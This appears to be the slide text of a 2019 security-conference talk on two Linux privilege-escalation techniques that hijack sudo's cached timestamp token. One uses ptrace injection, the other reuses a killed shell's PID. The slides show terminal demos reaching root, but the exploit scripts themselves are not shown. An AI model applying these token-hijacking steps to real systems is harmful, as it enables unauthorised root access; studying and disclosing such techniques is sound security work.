

SUDO_INJECT

by @chaignc

Breizh2k19





chaignc @chaignc · 11 avr.

Tomorrow at @BreizhCTF I will be presenting a new technique to exploit sudo, #0day #linux #PrivilegeEscalation #exploit cc @_SaxX_ @kaluche_ @HexpressoCTF thx @HackAndDo for the debugging 😊

Traduire le Tweet

```
$ sudo -i # no password required :)  
# id  
uid=0(root) gid=0(root) groups=0(root)
```

3 25 69

@chaignc

Hexpresso

nongiach / arm_now

★ Star

488

🍴 Fork

63

<> Code

! Issues 17

🔗 Pull requests 1

📁 Projects 0

📖 Wiki

📊 Insights

⚙️ Settings



Privilege Escalation

https://github.com/nongiach/sudo_inject

nongiach / sudo_inject

Unwatch 1 Star 7 Fork 0

Code Issues 0 Pull requests 0 Projects 0 Wiki Insights Settings

[Linux] Two Privilege Escalation techniques abusing sudo token

Edit



~~0day disclosure~~

Sudo Behavior

```
test@kali:/tmp$ sudo id  
[sudo] password for test:  
uid=0(root) gid=0(root) groups=0(root)  
test@kali:/tmp$ sudo id  
uid=0(root) gid=0(root) groups=0(root)  
test@kali:/tmp$ █
```


Sudo token

```
root@kali:~/github/sudo_inject/extra_tools# ./tsdump -f /var/run/sudo/ts/test
```

```
position: 0  
version: 2  
size: 56  
type: TS_LOCKEXCL  
flags:  
auth uid: 0  
session ID: 0
```

```
position: 56  
version: 2  
size: 56  
type: TS_TTY  
flags:  
auth uid: 1001  
session ID: 3881  
start time: Fri Apr 12 16:04:40 2019  
time stamp: Fri Apr 12 16:09:47 2019  
terminal: /dev/pts/2
```

sudo struct

```
struct timestamp_entry {
    unsigned short version;        /* version number */
    unsigned short size;           /* entry size */
    unsigned short type;           /* TS_GLOBAL, TS_TTY, TS_PPID */
    unsigned short flags;          /* TS_DISABLED, TS_ANYUID */
    uid_t auth_uid;                /* uid to authenticate as */
    pid_t sid;                     /* session ID associated with tty/ppid */
    struct timespec start_time;    /* session/ppid start time */
    struct timespec ts;            /* time stamp (CLOCK_MONOTONIC) */
    union {
        dev_t ttydev;             /* tty device number */
        pid_t ppid;               /* parent pid */
    } u;
} sudo, sudo0;
```

Sudo behavior

```
$ whoami  
tomate  
$ echo $$  
1337  
$ sudo id -u  
Password:  
uid=0(root)
```


Sudo behavior

```
$ whoami  
tomate  
$ echo $$  
1337  
$ sudo id -u  
Password:  
uid=0(root)  
$ sudo id -u  
uid=0(root)
```

First exploit

```
$ whoami  
tomate  
$ echo $$  
1337  
$ sudo id -u  
Password:  
uid=0(root)  
$ sudo id -u  
uid=0(root)
```

```
$ whoami  
tomate  
$ echo $$  
4242
```

First exploit

```
$ whoami  
tomate  
$ echo $$  
1337  
$ sudo id -u  
Password:  
uid=0(root)  
$ sudo id -u  
uid=0(root)
```

```
$ whoami  
tomate  
$ echo $$  
4242  
$ sudo id -u  
Password:
```

First exploit

```
$ whoami  
tomate  
$ echo $$  
1337  
$ sudo id -u  
Password:  
uid=0(root)  
$ sudo id -u  
uid=0(root)
```

Ptrace

```
$ whoami  
tomate  
$ echo $$  
4242  
$ sudo id -u  
Password:  
$ ./exploit.sh  
$ sudo id  
uid=0(root)
```

Ptrace == LAME

Second exploit

```
$ whoami  
tomate  
$ echo $$  
1337  
$ sudo id -u  
Password:  
uid=0(root)  
$ sudo id -u  
uid=0(root)
```


Second exploit

```
$ whoami  
tomate  
$ echo $$  
1337  
$ sudo id -u  
Password:  
uid=0(root)  
$ sudo id -u  
uid=0(root)
```

```
$ kill -SIGTERM 1337
```

kill



Second exploit

```
$ kill -SIGTERM 1337
```

Second exploit

```
$ kill -SIGTERM 1337  
$ ./spawn_process_pid 1337  
$ echo $$  
1337
```

Second exploit

```
$ kill -SIGTERM 1337  
$ ./spawn_process_pid 1337  
$ echo $$  
1337  
$ sudo id  
uid=0(root)
```

Warning

- Not stable
- Educational purpose only

Tools

- ufttrace
- ltrace / strace
- gdb
- grep / ag



sudo

Suck it Up 'n Do as Ordered